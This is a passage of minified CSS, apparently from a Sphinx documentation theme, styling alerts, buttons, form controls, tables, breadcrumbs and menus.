.wy-alert-title,.rst-content .important .wy-alert-title,.rst-content .tip .wy-alert-title,.rst-content .wy-alert-success.warning .wy-alert-title,.rst-content .wy-alert-success.seealso .wy-alert-title,.rst-content .wy-alert-success.admonition-todo .wy-alert-title,.rst-content .wy-alert-success.admonition .wy-alert-title,.wy-alert.wy-alert-success .rst-content .admonition-title,.rst-content .wy-alert.wy-alert-success .admonition-title,.rst-content .wy-alert-success.note .admonition-title,.rst-content .wy-alert-success.attention .admonition-title,.rst-content .wy-alert-success.caution .admonition-title,.rst-content .wy-alert-success.danger .admonition-title,.rst-content .wy-alert-success.error .admonition-title,.rst-content .hint .admonition-title,.rst-content .important .admonition-title,.rst-content .tip .admonition-title,.rst-content .wy-alert-success.warning .admonition-title,.rst-content .wy-alert-success.seealso .admonition-title,.rst-content .wy-alert-success.admonition-todo .admonition-title,.rst-content .wy-alert-success.admonition .admonition-title{background:#1abc9c}.wy-alert.wy-alert-neutral,.rst-content .wy-alert-neutral.note,.rst-content .wy-alert-neutral.attention,.rst-content .wy-alert-neutral.caution,.rst-content .wy-alert-neutral.danger,.rst-content .wy-alert-neutral.error,.rst-content .wy-alert-neutral.hint,.rst-content .wy-alert-neutral.important,.rst-content .wy-alert-neutral.tip,.rst-content .wy-alert-neutral.warning,.rst-content .wy-alert-neutral.seealso,.rst-content .wy-alert-neutral.admonition-todo,.rst-content .wy-alert-neutral.admonition{background:#f3f6f6}.wy-alert.wy-alert-neutral .wy-alert-title,.rst-content .wy-alert-neutral.note .wy-alert-title,.rst-content .wy-alert-neutral.attention .wy-alert-title,.rst-content .wy-alert-neutral.caution .wy-alert-title,.rst-content .wy-alert-neutral.danger .wy-alert-title,.rst-content .wy-alert-neutral.error .wy-alert-title,.rst-content .wy-alert-neutral.hint .wy-alert-title,.rst-content .wy-alert-neutral.important .wy-alert-title,.rst-content .wy-alert-neutral.tip .wy-alert-title,.rst-content .wy-alert-neutral.warning .wy-alert-title,.rst-content .wy-alert-neutral.seealso .wy-alert-title,.rst-content .wy-alert-neutral.admonition-todo .wy-alert-title,.rst-content .wy-alert-neutral.admonition .wy-alert-title,.wy-alert.wy-alert-neutral .rst-content .admonition-title,.rst-content .wy-alert.wy-alert-neutral .admonition-title,.rst-content .wy-alert-neutral.note .admonition-title,.rst-content .wy-alert-neutral.attention .admonition-title,.rst-content .wy-alert-neutral.caution .admonition-title,.rst-content .wy-alert-neutral.danger .admonition-title,.rst-content .wy-alert-neutral.error .admonition-title,.rst-content .wy-alert-neutral.hint .admonition-title,.rst-content .wy-alert-neutral.important .admonition-title,.rst-content .wy-alert-neutral.tip .admonition-title,.rst-content .wy-alert-neutral.warning .admonition-title,.rst-content .wy-alert-neutral.seealso .admonition-title,.rst-content .wy-alert-neutral.admonition-todo .admonition-title,.rst-content .wy-alert-neutral.admonition .admonition-title{color:#404040;background:#e1e4e5}.wy-alert.wy-alert-neutral a,.rst-content .wy-alert-neutral.note a,.rst-content .wy-alert-neutral.attention a,.rst-content .wy-alert-neutral.caution a,.rst-content .wy-alert-neutral.danger a,.rst-content .wy-alert-neutral.error a,.rst-content .wy-alert-neutral.hint a,.rst-content .wy-alert-neutral.important a,.rst-content .wy-alert-neutral.tip a,.rst-content .wy-alert-neutral.warning a,.rst-content .wy-alert-neutral.seealso a,.rst-content .wy-alert-neutral.admonition-todo a,.rst-content .wy-alert-neutral.admonition a{color:#2980B9}.wy-alert p:last-child,.rst-content .note p:last-child,.rst-content .attention p:last-child,.rst-content .caution p:last-child,.rst-content .danger p:last-child,.rst-content .error p:last-child,.rst-content .hint p:last-child,.rst-content .important p:last-child,.rst-content .tip p:last-child,.rst-content .warning p:last-child,.rst-content .seealso p:last-child,.rst-content .admonition-todo p:last-child,.rst-content .admonition p:last-child{margin-bottom:0}.wy-tray-container{position:fixed;bottom:0px;left:0;z-index:600}.wy-tray-container li{display:block;width:300px;background:transparent;color:#fff;text-align:center;box-shadow:0 5px 5px 0 rgba(0,0,0,0.1);padding:0 24px;min-width:20%;opacity:0;height:0;line-height:56px;overflow:hidden;-webkit-transition:all .3s ease-in;-moz-transition:all .3s ease-in;transition:all .3s ease-in}.wy-tray-container li.wy-tray-item-success{background:#27AE60}.wy-tray-container li.wy-tray-item-info{background:#2980B9}.wy-tray-container li.wy-tray-item-warning{background:#E67E22}.wy-tray-container li.wy-tray-item-danger{background:#E74C3C}.wy-tray-container li.on{opacity:1;height:56px}@media screen and (max-width: 768px){.wy-tray-container{bottom:auto;top:0;width:100%}.wy-tray-container li{width:100%}}button{font-size:100%;margin:0;vertical-align:baseline;*vertical-align:middle;cursor:pointer;line-height:normal;-webkit-appearance:button;*overflow:visible}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}button[disabled]{cursor:default}.btn{display:inline-block;border-radius:2px;line-height:normal;white-space:nowrap;text-align:center;cursor:pointer;font-size:100%;padding:6px 12px 8px 12px;color:#fff;border:1px solid rgba(0,0,0,0.1);background-color:#27AE60;text-decoration:none;font-weight:normal;font-family:"Lato","proxima-nova","Helvetica Neue",Arial,sans-serif;box-shadow:0px 1px 2px -1px rgba(255,255,255,0.5) inset,0px -2px 0px 0px rgba(0,0,0,0.1) inset;outline-none:false;vertical-align:middle;*display:inline;zoom:1;-webkit-user-drag:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-transition:all .1s linear;-moz-transition:all .1s linear;transition:all .1s linear}.btn-hover{background:#2e8ece;color:#fff}.btn:hover{background:#2cc36b;color:#fff}.btn:focus{background:#2cc36b;outline:0}.btn:active{box-shadow:0px -1px 0px 0px rgba(0,0,0,0.05) inset,0px 2px 0px 0px rgba(0,0,0,0.1) inset;padding:8px 12px 6px 12px}.btn:visited{color:#fff}.btn:disabled{background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:alpha(opacity=40);opacity:.4;cursor:not-allowed;box-shadow:none}.btn-disabled{background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:alpha(opacity=40);opacity:.4;cursor:not-allowed;box-shadow:none}.btn-disabled:hover,.btn-disabled:focus,.btn-disabled:active{background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:alpha(opacity=40);opacity:.4;cursor:not-allowed;box-shadow:none}.btn::-moz-focus-inner{padding:0;border:0}.btn-small{font-size:80%}.btn-info{background-color:#2980B9 !important}.btn-info:hover{background-color:#2e8ece !important}.btn-neutral{background-color:#f3f6f6 !important;color:#404040 !important}.btn-neutral:hover{background-color:#e5ebeb !important;color:#404040}.btn-neutral:visited{color:#404040 !important}.btn-success{background-color:#27AE60 !important}.btn-success:hover{background-color:#295 !important}.btn-danger{background-color:#E74C3C !important}.btn-danger:hover{background-color:#ea6153 !important}.btn-warning{background-color:#E67E22 !important}.btn-warning:hover{background-color:#e98b39 !important}.btn-invert{background-color:#222}.btn-invert:hover{background-color:#2f2f2f !important}.btn-link{background-color:transparent !important;color:#2980B9;box-shadow:none;border-color:transparent !important}.btn-link:hover{background-color:transparent !important;color:#409ad5 !important;box-shadow:none}.btn-link:active{background-color:transparent !important;color:#409ad5 !important;box-shadow:none}.btn-link:visited{color:#9B59B6}.wy-btn-group .btn,.wy-control .btn{vertical-align:middle}.wy-btn-group{margin-bottom:24px;*zoom:1}.wy-btn-group:before,.wy-btn-group:after{display:table;content:""}.wy-btn-group:after{clear:both}.wy-dropdown{position:relative;display:inline-block}.wy-dropdown-active .wy-dropdown-menu{display:block}.wy-dropdown-menu{position:absolute;left:0;display:none;float:left;top:100%;min-width:100%;background:#fcfcfc;z-index:100;border:solid 1px #cfd7dd;box-shadow:0 2px 2px 0 rgba(0,0,0,0.1);padding:12px}.wy-dropdown-menu>dd>a{display:block;clear:both;color:#404040;white-space:nowrap;font-size:90%;padding:0 12px;cursor:pointer}.wy-dropdown-menu>dd>a:hover{background:#2980B9;color:#fff}.wy-dropdown-menu>dd.divider{border-top:solid 1px #cfd7dd;margin:6px 0}.wy-dropdown-menu>dd.search{padding-bottom:12px}.wy-dropdown-menu>dd.search input[type="search"]{width:100%}.wy-dropdown-menu>dd.call-to-action{background:#e3e3e3;text-transform:uppercase;font-weight:500;font-size:80%}.wy-dropdown-menu>dd.call-to-action:hover{background:#e3e3e3}.wy-dropdown-menu>dd.call-to-action .btn{color:#fff}.wy-dropdown.wy-dropdown-up .wy-dropdown-menu{bottom:100%;top:auto;left:auto;right:0}.wy-dropdown.wy-dropdown-bubble .wy-dropdown-menu{background:#fcfcfc;margin-top:2px}.wy-dropdown.wy-dropdown-bubble .wy-dropdown-menu a{padding:6px 12px}.wy-dropdown.wy-dropdown-bubble .wy-dropdown-menu a:hover{background:#2980B9;color:#fff}.wy-dropdown.wy-dropdown-left .wy-dropdown-menu{right:0;left:auto;text-align:right}.wy-dropdown-arrow:before{content:" ";border-bottom:5px solid #f5f5f5;border-left:5px solid transparent;border-right:5px solid transparent;position:absolute;display:block;top:-4px;left:50%;margin-left:-3px}.wy-dropdown-arrow.wy-dropdown-arrow-left:before{left:11px}.wy-form-stacked select{display:block}.wy-form-aligned input,.wy-form-aligned textarea,.wy-form-aligned select,.wy-form-aligned .wy-help-inline,.wy-form-aligned label{display:inline-block;*display:inline;*zoom:1;vertical-align:middle}.wy-form-aligned .wy-control-group>label{display:inline-block;vertical-align:middle;width:10em;margin:6px 12px 0 0;float:left}.wy-form-aligned .wy-control{float:left}.wy-form-aligned .wy-control label{display:block}.wy-form-aligned .wy-control select{margin-top:6px}fieldset{border:0;margin:0;padding:0}legend{display:block;width:100%;border:0;padding:0;white-space:normal;margin-bottom:24px;font-size:150%;*margin-left:-7px}label{display:block;margin:0 0 .3125em 0;color:#333;font-size:90%}input,select,textarea{font-size:100%;margin:0;vertical-align:baseline;*vertical-align:middle}.wy-control-group{margin-bottom:24px;*zoom:1;max-width:68em;margin-left:auto;margin-right:auto;*zoom:1}.wy-control-group:before,.wy-control-group:after{display:table;content:""}.wy-control-group:after{clear:both}.wy-control-group:before,.wy-control-group:after{display:table;content:""}.wy-control-group:after{clear:both}.wy-control-group.wy-control-group-required>label:after{content:" *";color:#E74C3C}.wy-control-group .wy-form-full,.wy-control-group .wy-form-halves,.wy-control-group .wy-form-thirds{padding-bottom:12px}.wy-control-group .wy-form-full select,.wy-control-group .wy-form-halves select,.wy-control-group .wy-form-thirds select{width:100%}.wy-control-group .wy-form-full input[type="text"],.wy-control-group .wy-form-full input[type="password"],.wy-control-group .wy-form-full input[type="email"],.wy-control-group .wy-form-full input[type="url"],.wy-control-group .wy-form-full input[type="date"],.wy-control-group .wy-form-full input[type="month"],.wy-control-group .wy-form-full input[type="time"],.wy-control-group .wy-form-full input[type="datetime"],.wy-control-group .wy-form-full input[type="datetime-local"],.wy-control-group .wy-form-full input[type="week"],.wy-control-group .wy-form-full input[type="number"],.wy-control-group .wy-form-full input[type="search"],.wy-control-group .wy-form-full input[type="tel"],.wy-control-group .wy-form-full input[type="color"],.wy-control-group .wy-form-halves input[type="text"],.wy-control-group .wy-form-halves input[type="password"],.wy-control-group .wy-form-halves input[type="email"],.wy-control-group .wy-form-halves input[type="url"],.wy-control-group .wy-form-halves input[type="date"],.wy-control-group .wy-form-halves input[type="month"],.wy-control-group .wy-form-halves input[type="time"],.wy-control-group .wy-form-halves input[type="datetime"],.wy-control-group .wy-form-halves input[type="datetime-local"],.wy-control-group .wy-form-halves input[type="week"],.wy-control-group .wy-form-halves input[type="number"],.wy-control-group .wy-form-halves input[type="search"],.wy-control-group .wy-form-halves input[type="tel"],.wy-control-group .wy-form-halves input[type="color"],.wy-control-group .wy-form-thirds input[type="text"],.wy-control-group .wy-form-thirds input[type="password"],.wy-control-group .wy-form-thirds input[type="email"],.wy-control-group .wy-form-thirds input[type="url"],.wy-control-group .wy-form-thirds input[type="date"],.wy-control-group .wy-form-thirds input[type="month"],.wy-control-group .wy-form-thirds input[type="time"],.wy-control-group .wy-form-thirds input[type="datetime"],.wy-control-group .wy-form-thirds input[type="datetime-local"],.wy-control-group .wy-form-thirds input[type="week"],.wy-control-group .wy-form-thirds input[type="number"],.wy-control-group .wy-form-thirds input[type="search"],.wy-control-group .wy-form-thirds input[type="tel"],.wy-control-group .wy-form-thirds input[type="color"]{width:100%}.wy-control-group .wy-form-full{float:left;display:block;margin-right:2.3576515979%;width:100%;margin-right:0}.wy-control-group .wy-form-full:last-child{margin-right:0}.wy-control-group .wy-form-halves{float:left;display:block;margin-right:2.3576515979%;width:48.821174201%}.wy-control-group .wy-form-halves:last-child{margin-right:0}.wy-control-group .wy-form-halves:nth-of-type(2n){margin-right:0}.wy-control-group .wy-form-halves:nth-of-type(2n+1){clear:left}.wy-control-group .wy-form-thirds{float:left;display:block;margin-right:2.3576515979%;width:31.7615656014%}.wy-control-group .wy-form-thirds:last-child{margin-right:0}.wy-control-group .wy-form-thirds:nth-of-type(3n){margin-right:0}.wy-control-group .wy-form-thirds:nth-of-type(3n+1){clear:left}.wy-control-group.wy-control-group-no-input .wy-control{margin:6px 0 0 0;font-size:90%}.wy-control-no-input{display:inline-block;margin:6px 0 0 0;font-size:90%}.wy-control-group.fluid-input input[type="text"],.wy-control-group.fluid-input input[type="password"],.wy-control-group.fluid-input input[type="email"],.wy-control-group.fluid-input input[type="url"],.wy-control-group.fluid-input input[type="date"],.wy-control-group.fluid-input input[type="month"],.wy-control-group.fluid-input input[type="time"],.wy-control-group.fluid-input input[type="datetime"],.wy-control-group.fluid-input input[type="datetime-local"],.wy-control-group.fluid-input input[type="week"],.wy-control-group.fluid-input input[type="number"],.wy-control-group.fluid-input input[type="search"],.wy-control-group.fluid-input input[type="tel"],.wy-control-group.fluid-input input[type="color"]{width:100%}.wy-form-message-inline{display:inline-block;padding-left:.3em;color:#666;vertical-align:middle;font-size:90%}.wy-form-message{display:block;color:#999;font-size:70%;margin-top:.3125em;font-style:italic}.wy-form-message p{font-size:inherit;font-style:italic;margin-bottom:6px}.wy-form-message p:last-child{margin-bottom:0}input{line-height:normal}input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer;font-family:"Lato","proxima-nova","Helvetica Neue",Arial,sans-serif;*overflow:visible}input[type="text"],input[type="password"],input[type="email"],input[type="url"],input[type="date"],input[type="month"],input[type="time"],input[type="datetime"],input[type="datetime-local"],input[type="week"],input[type="number"],input[type="search"],input[type="tel"],input[type="color"]{-webkit-appearance:none;padding:6px;display:inline-block;border:1px solid #ccc;font-size:80%;font-family:"Lato","proxima-nova","Helvetica Neue",Arial,sans-serif;box-shadow:inset 0 1px 3px #ddd;border-radius:0;-webkit-transition:border .3s linear;-moz-transition:border .3s linear;transition:border .3s linear}input[type="datetime-local"]{padding:.34375em .625em}input[disabled]{cursor:default}input[type="checkbox"],input[type="radio"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:0;margin-right:.3125em;*height:13px;*width:13px}input[type="search"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}input[type="text"]:focus,input[type="password"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus{outline:0;outline:thin dotted \9;border-color:#333}input.no-focus:focus{border-color:#ccc !important}input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:thin dotted #333;outline:1px auto #129FEA}input[type="text"][disabled],input[type="password"][disabled],input[type="email"][disabled],input[type="url"][disabled],input[type="date"][disabled],input[type="month"][disabled],input[type="time"][disabled],input[type="datetime"][disabled],input[type="datetime-local"][disabled],input[type="week"][disabled],input[type="number"][disabled],input[type="search"][disabled],input[type="tel"][disabled],input[type="color"][disabled]{cursor:not-allowed;background-color:#fafafa}input:focus:invalid,textarea:focus:invalid,select:focus:invalid{color:#E74C3C;border:1px solid #E74C3C}input:focus:invalid:focus,textarea:focus:invalid:focus,select:focus:invalid:focus{border-color:#E74C3C}input[type="file"]:focus:invalid:focus,input[type="radio"]:focus:invalid:focus,input[type="checkbox"]:focus:invalid:focus{outline-color:#E74C3C}input.wy-input-large{padding:12px;font-size:100%}textarea{overflow:auto;vertical-align:top;width:100%;font-family:"Lato","proxima-nova","Helvetica Neue",Arial,sans-serif}select,textarea{padding:.5em .625em;display:inline-block;border:1px solid #ccc;font-size:80%;box-shadow:inset 0 1px 3px #ddd;-webkit-transition:border .3s linear;-moz-transition:border .3s linear;transition:border .3s linear}select{border:1px solid #ccc;background-color:#fff}select[multiple]{height:auto}select:focus,textarea:focus{outline:0}select[disabled],textarea[disabled],input[readonly],select[readonly],textarea[readonly]{cursor:not-allowed;background-color:#fafafa}input[type="radio"][disabled],input[type="checkbox"][disabled]{cursor:not-allowed}.wy-checkbox,.wy-radio{margin:6px 0;color:#404040;display:block}.wy-checkbox input,.wy-radio input{vertical-align:baseline}.wy-form-message-inline{display:inline-block;*display:inline;*zoom:1;vertical-align:middle}.wy-input-prefix,.wy-input-suffix{white-space:nowrap;padding:6px}.wy-input-prefix .wy-input-context,.wy-input-suffix .wy-input-context{line-height:27px;padding:0 8px;display:inline-block;font-size:80%;background-color:#f3f6f6;border:solid 1px #ccc;color:#999}.wy-input-suffix .wy-input-context{border-left:0}.wy-input-prefix .wy-input-context{border-right:0}.wy-switch{position:relative;display:block;height:24px;margin-top:12px;cursor:pointer}.wy-switch:before{position:absolute;content:"";display:block;left:0;top:0;width:36px;height:12px;border-radius:4px;background:#ccc;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.wy-switch:after{position:absolute;content:"";display:block;width:18px;height:18px;border-radius:4px;background:#999;left:-3px;top:-3px;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.wy-switch span{position:absolute;left:48px;display:block;font-size:12px;color:#ccc;line-height:1}.wy-switch.active:before{background:#1e8449}.wy-switch.active:after{left:24px;background:#27AE60}.wy-switch.disabled{cursor:not-allowed;opacity:.8}.wy-control-group.wy-control-group-error .wy-form-message,.wy-control-group.wy-control-group-error>label{color:#E74C3C}.wy-control-group.wy-control-group-error input[type="text"],.wy-control-group.wy-control-group-error input[type="password"],.wy-control-group.wy-control-group-error input[type="email"],.wy-control-group.wy-control-group-error input[type="url"],.wy-control-group.wy-control-group-error input[type="date"],.wy-control-group.wy-control-group-error input[type="month"],.wy-control-group.wy-control-group-error input[type="time"],.wy-control-group.wy-control-group-error input[type="datetime"],.wy-control-group.wy-control-group-error input[type="datetime-local"],.wy-control-group.wy-control-group-error input[type="week"],.wy-control-group.wy-control-group-error input[type="number"],.wy-control-group.wy-control-group-error input[type="search"],.wy-control-group.wy-control-group-error input[type="tel"],.wy-control-group.wy-control-group-error input[type="color"]{border:solid 1px #E74C3C}.wy-control-group.wy-control-group-error textarea{border:solid 1px #E74C3C}.wy-inline-validate{white-space:nowrap}.wy-inline-validate .wy-input-context{padding:.5em .625em;display:inline-block;font-size:80%}.wy-inline-validate.wy-inline-validate-success .wy-input-context{color:#27AE60}.wy-inline-validate.wy-inline-validate-danger .wy-input-context{color:#E74C3C}.wy-inline-validate.wy-inline-validate-warning .wy-input-context{color:#E67E22}.wy-inline-validate.wy-inline-validate-info .wy-input-context{color:#2980B9}.rotate-90{-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);-o-transform:rotate(90deg);transform:rotate(90deg)}.rotate-180{-webkit-transform:rotate(180deg);-moz-transform:rotate(180deg);-ms-transform:rotate(180deg);-o-transform:rotate(180deg);transform:rotate(180deg)}.rotate-270{-webkit-transform:rotate(270deg);-moz-transform:rotate(270deg);-ms-transform:rotate(270deg);-o-transform:rotate(270deg);transform:rotate(270deg)}.mirror{-webkit-transform:scaleX(-1);-moz-transform:scaleX(-1);-ms-transform:scaleX(-1);-o-transform:scaleX(-1);transform:scaleX(-1)}.mirror.rotate-90{-webkit-transform:scaleX(-1) rotate(90deg);-moz-transform:scaleX(-1) rotate(90deg);-ms-transform:scaleX(-1) rotate(90deg);-o-transform:scaleX(-1) rotate(90deg);transform:scaleX(-1) rotate(90deg)}.mirror.rotate-180{-webkit-transform:scaleX(-1) rotate(180deg);-moz-transform:scaleX(-1) rotate(180deg);-ms-transform:scaleX(-1) rotate(180deg);-o-transform:scaleX(-1) rotate(180deg);transform:scaleX(-1) rotate(180deg)}.mirror.rotate-270{-webkit-transform:scaleX(-1) rotate(270deg);-moz-transform:scaleX(-1) rotate(270deg);-ms-transform:scaleX(-1) rotate(270deg);-o-transform:scaleX(-1) rotate(270deg);transform:scaleX(-1) rotate(270deg)}@media only screen and (max-width: 480px){.wy-form button[type="submit"]{margin:.7em 0 0}.wy-form input[type="text"],.wy-form input[type="password"],.wy-form input[type="email"],.wy-form input[type="url"],.wy-form input[type="date"],.wy-form input[type="month"],.wy-form input[type="time"],.wy-form input[type="datetime"],.wy-form input[type="datetime-local"],.wy-form input[type="week"],.wy-form input[type="number"],.wy-form input[type="search"],.wy-form input[type="tel"],.wy-form input[type="color"]{margin-bottom:.3em;display:block}.wy-form label{margin-bottom:.3em;display:block}.wy-form input[type="password"],.wy-form input[type="email"],.wy-form input[type="url"],.wy-form input[type="date"],.wy-form input[type="month"],.wy-form input[type="time"],.wy-form input[type="datetime"],.wy-form input[type="datetime-local"],.wy-form input[type="week"],.wy-form input[type="number"],.wy-form input[type="search"],.wy-form input[type="tel"],.wy-form input[type="color"]{margin-bottom:0}.wy-form-aligned .wy-control-group label{margin-bottom:.3em;text-align:left;display:block;width:100%}.wy-form-aligned .wy-control{margin:1.5em 0 0 0}.wy-form .wy-help-inline,.wy-form-message-inline,.wy-form-message{display:block;font-size:80%;padding:6px 0}}@media screen and (max-width: 768px){.tablet-hide{display:none}}@media screen and (max-width: 480px){.mobile-hide{display:none}}.float-left{float:left}.float-right{float:right}.full-width{width:100%}.wy-table,.rst-content table.docutils,.rst-content table.field-list{border-collapse:collapse;border-spacing:0;empty-cells:show;margin-bottom:24px}.wy-table caption,.rst-content table.docutils caption,.rst-content table.field-list caption{color:#000;font:italic 85%/1 arial,sans-serif;padding:1em 0;text-align:center}.wy-table td,.rst-content table.docutils td,.rst-content table.field-list td,.wy-table th,.rst-content table.docutils th,.rst-content table.field-list th{font-size:90%;margin:0;overflow:visible;padding:8px 16px}.wy-table td:first-child,.rst-content table.docutils td:first-child,.rst-content table.field-list td:first-child,.wy-table th:first-child,.rst-content table.docutils th:first-child,.rst-content table.field-list th:first-child{border-left-width:0}.wy-table thead,.rst-content table.docutils thead,.rst-content table.field-list thead{color:#000;text-align:left;vertical-align:bottom;white-space:nowrap}.wy-table thead th,.rst-content table.docutils thead th,.rst-content table.field-list thead th{font-weight:bold;border-bottom:solid 2px #e1e4e5}.wy-table td,.rst-content table.docutils td,.rst-content table.field-list td{background-color:transparent;vertical-align:middle}.wy-table td p,.rst-content table.docutils td p,.rst-content table.field-list td p{line-height:18px}.wy-table td p:last-child,.rst-content table.docutils td p:last-child,.rst-content table.field-list td p:last-child{margin-bottom:0}.wy-table .wy-table-cell-min,.rst-content table.docutils .wy-table-cell-min,.rst-content table.field-list .wy-table-cell-min{width:1%;padding-right:0}.wy-table .wy-table-cell-min input[type=checkbox],.rst-content table.docutils .wy-table-cell-min input[type=checkbox],.rst-content table.field-list .wy-table-cell-min input[type=checkbox],.wy-table .wy-table-cell-min input[type=checkbox],.rst-content table.docutils .wy-table-cell-min input[type=checkbox],.rst-content table.field-list .wy-table-cell-min input[type=checkbox]{margin:0}.wy-table-secondary{color:gray;font-size:90%}.wy-table-tertiary{color:gray;font-size:80%}.wy-table-odd td,.wy-table-striped tr:nth-child(2n-1) td,.rst-content table.docutils:not(.field-list) tr:nth-child(2n-1) td{background-color:#f3f6f6}.wy-table-backed{background-color:#f3f6f6}.wy-table-bordered-all,.rst-content table.docutils{border:1px solid #e1e4e5}.wy-table-bordered-all td,.rst-content table.docutils td{border-bottom:1px solid #e1e4e5;border-left:1px solid #e1e4e5}.wy-table-bordered-all tbody>tr:last-child td,.rst-content table.docutils tbody>tr:last-child td{border-bottom-width:0}.wy-table-bordered{border:1px solid #e1e4e5}.wy-table-bordered-rows td{border-bottom:1px solid #e1e4e5}.wy-table-bordered-rows tbody>tr:last-child td{border-bottom-width:0}.wy-table-horizontal tbody>tr:last-child td{border-bottom-width:0}.wy-table-horizontal td,.wy-table-horizontal th{border-width:0 0 1px 0;border-bottom:1px solid #e1e4e5}.wy-table-horizontal tbody>tr:last-child td{border-bottom-width:0}.wy-table-responsive{margin-bottom:24px;max-width:100%;overflow:auto}.wy-table-responsive table{margin-bottom:0 !important}.wy-table-responsive table td,.wy-table-responsive table th{white-space:nowrap}a{color:#2980B9;text-decoration:none;cursor:pointer}a:hover{color:#3091d1}a:visited{color:#9B59B6}html{height:100%;overflow-x:hidden}body{font-family:"Lato","proxima-nova","Helvetica Neue",Arial,sans-serif;font-weight:normal;color:#404040;min-height:100%;overflow-x:hidden;background:#edf0f2}.wy-text-left{text-align:left}.wy-text-center{text-align:center}.wy-text-right{text-align:right}.wy-text-large{font-size:120%}.wy-text-normal{font-size:100%}.wy-text-small,small{font-size:80%}.wy-text-strike{text-decoration:line-through}.wy-text-warning{color:#E67E22 !important}a.wy-text-warning:hover{color:#eb9950 !important}.wy-text-info{color:#2980B9 !important}a.wy-text-info:hover{color:#409ad5 !important}.wy-text-success{color:#27AE60 !important}a.wy-text-success:hover{color:#36d278 !important}.wy-text-danger{color:#E74C3C !important}a.wy-text-danger:hover{color:#ed7669 !important}.wy-text-neutral{color:#404040 !important}a.wy-text-neutral:hover{color:#595959 !important}h1,h2,.rst-content .toctree-wrapper p.caption,h3,h4,h5,h6,legend{margin-top:0;font-weight:700;font-family:"Roboto Slab","ff-tisa-web-pro","Georgia",Arial,sans-serif}p{line-height:24px;margin:0;font-size:16px;margin-bottom:24px}h1{font-size:175%}h2,.rst-content .toctree-wrapper p.caption{font-size:150%}h3{font-size:125%}h4{font-size:115%}h5{font-size:110%}h6{font-size:100%}hr{display:block;height:1px;border:0;border-top:1px solid #e1e4e5;margin:24px 0;padding:0}code,.rst-content tt,.rst-content code{white-space:nowrap;max-width:100%;background:#fff;border:solid 1px #e1e4e5;font-size:75%;padding:0 5px;font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",Courier,monospace;color:#E74C3C;overflow-x:auto}code.code-large,.rst-content tt.code-large{font-size:90%}.wy-plain-list-disc,.rst-content .section ul,.rst-content .toctree-wrapper ul,article ul{list-style:disc;line-height:24px;margin-bottom:24px}.wy-plain-list-disc li,.rst-content .section ul li,.rst-content .toctree-wrapper ul li,article ul li{list-style:disc;margin-left:24px}.wy-plain-list-disc li p:last-child,.rst-content .section ul li p:last-child,.rst-content .toctree-wrapper ul li p:last-child,article ul li p:last-child{margin-bottom:0}.wy-plain-list-disc li ul,.rst-content .section ul li ul,.rst-content .toctree-wrapper ul li ul,article ul li ul{margin-bottom:0}.wy-plain-list-disc li li,.rst-content .section ul li li,.rst-content .toctree-wrapper ul li li,article ul li li{list-style:circle}.wy-plain-list-disc li li li,.rst-content .section ul li li li,.rst-content .toctree-wrapper ul li li li,article ul li li li{list-style:square}.wy-plain-list-disc li ol li,.rst-content .section ul li ol li,.rst-content .toctree-wrapper ul li ol li,article ul li ol li{list-style:decimal}.wy-plain-list-decimal,.rst-content .section ol,.rst-content ol.arabic,article ol{list-style:decimal;line-height:24px;margin-bottom:24px}.wy-plain-list-decimal li,.rst-content .section ol li,.rst-content ol.arabic li,article ol li{list-style:decimal;margin-left:24px}.wy-plain-list-decimal li p:last-child,.rst-content .section ol li p:last-child,.rst-content ol.arabic li p:last-child,article ol li p:last-child{margin-bottom:0}.wy-plain-list-decimal li ul,.rst-content .section ol li ul,.rst-content ol.arabic li ul,article ol li ul{margin-bottom:0}.wy-plain-list-decimal li ul li,.rst-content .section ol li ul li,.rst-content ol.arabic li ul li,article ol li ul li{list-style:disc}.wy-breadcrumbs{*zoom:1}.wy-breadcrumbs:before,.wy-breadcrumbs:after{display:table;content:""}.wy-breadcrumbs:after{clear:both}.wy-breadcrumbs li{display:inline-block}.wy-breadcrumbs li.wy-breadcrumbs-aside{float:right}.wy-breadcrumbs li a{display:inline-block;padding:5px}.wy-breadcrumbs li a:first-child{padding-left:0}.wy-breadcrumbs li code,.wy-breadcrumbs li .rst-content tt,.rst-content .wy-breadcrumbs li tt{padding:5px;border:none;background:none}.wy-breadcrumbs li code.literal,.wy-breadcrumbs li .rst-content tt.literal,.rst-content .wy-breadcrumbs li tt.literal{color:#404040}.wy-breadcrumbs-extra{margin-bottom:0;color:#b3b3b3;font-size:80%;display:inline-block}@media screen and (max-width: 480px){.wy-breadcrumbs-extra{display:none}.wy-breadcrumbs li.wy-breadcrumbs-aside{display:none}}@media print{.wy-breadcrumbs li.wy-breadcrumbs-aside{display:none}}.wy-affix{position:fixed;top:1.618em}.wy-menu a:hover{text-decoration:none}.wy-menu-horiz{*zoom:1}.wy-menu-horiz:before,.wy-menu-horiz:after{display:table;content:""}.wy-menu-horiz:after{clear:both}.wy-menu-horiz ul,.wy-menu-horiz li{display:inline-block}.wy-menu-horiz li:hover{background:rgba(255,255,255,0.1)}.wy-menu-horiz li.divide-left{border-left:solid 1px #404040}.wy-menu-horiz li.divide-right{border-right:solid 1px #404040}.wy-menu-horiz a{height:32px;display:inline-block;line-height:32px;padding:0 16px}.wy-menu-vertical{width:300px}.wy-menu-vertical 